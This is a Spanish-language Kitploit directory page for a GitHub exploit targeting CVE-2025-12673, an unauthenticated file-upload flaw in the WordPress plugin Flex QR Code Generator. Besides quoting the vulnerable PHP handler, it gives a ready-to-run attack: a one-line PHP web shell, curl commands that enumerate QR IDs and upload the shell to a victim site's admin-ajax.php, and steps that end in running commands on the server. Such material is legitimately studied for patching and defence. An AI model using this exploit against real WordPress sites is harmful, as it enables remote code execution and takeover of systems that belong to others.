Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12673 — Flex QR Code Generator <= 1.2.6 - Subida de Archivos Arbitraria no Autenticada | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-12673
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubd0n601/cve-2025-12673

CVE-2025-12673

Flex QR Code Generator <= 1.2.6 - Subida de Archivos Arbitraria no Autenticada

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Flex QR Code Generator <= 1.2.6 - Subida de Archivos Arbitraria No Autenticada

El plugin Flex QR Code Generator no valida el permiso del usuario ni sanitiza las subidas de archivos en su endpoint AJAX update_qr_code, lo que permite a atacantes no autenticados subir archivos arbitrarios, incluyendo scripts PHP ejecutables, llevando a ejecución remota de código.

Exploits TL;DR

root@kitploit:~
# Subir webshell PHP
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"

Detalles

La vulnerabilidad existe en el método update_qr_code de la clase FlexQrCodeGenerator. El plugin registra endpoints AJAX para usuarios no autenticados, permitiendo a cualquier visitante subir archivos arbitrarios que se almacenan en el directorio de subidas de WordPress.

Código vulnerable de /qr-code-generator.php:457-589:

root@kitploit:~
public function update_qr_code()
{
  if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
    // ... validation code ...
    
    // Handle the logo (file upload)
    if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
      $logo = $_FILES['logo'];
      $upload_dir = wp_upload_dir();
      
      $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
      $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
      $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
      $file_path = $upload_dir['path'] . '/' . $new_file_name;
      
      if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        // File uploaded successfully
      }
    }
  }
}

Ejecución del archivo de /qr-code-generator.php:504:

root@kitploit:~
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
  $logo_url = $upload_dir['url'] . '/' . $new_file_name;
  $logo_url = str_replace(home_url(), '', $logo_url);
  $update_data['logo_url'] = $logo_url;
}

Acceso no autenticado de /qr-code-generator.php:41-42:

root@kitploit:~
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

Reproducción Manual

  1. Identifica el objetivo con el plugin Flex QR Code Generator instalado.
  2. Encuentra un ID de QR existente:
root@kitploit:~
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=flexqr_fetch_qr_code" \
  -d "per_page=10" \
  -d "page=1"
  1. Sube un archivo PHP malicioso:
root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"
  1. Verifica la subida revisando el directorio de subidas en busca de shell_1.php.
  2. Ejecuta comandos visitando el archivo subido con ?cmd=whoami.
Descargar herramienta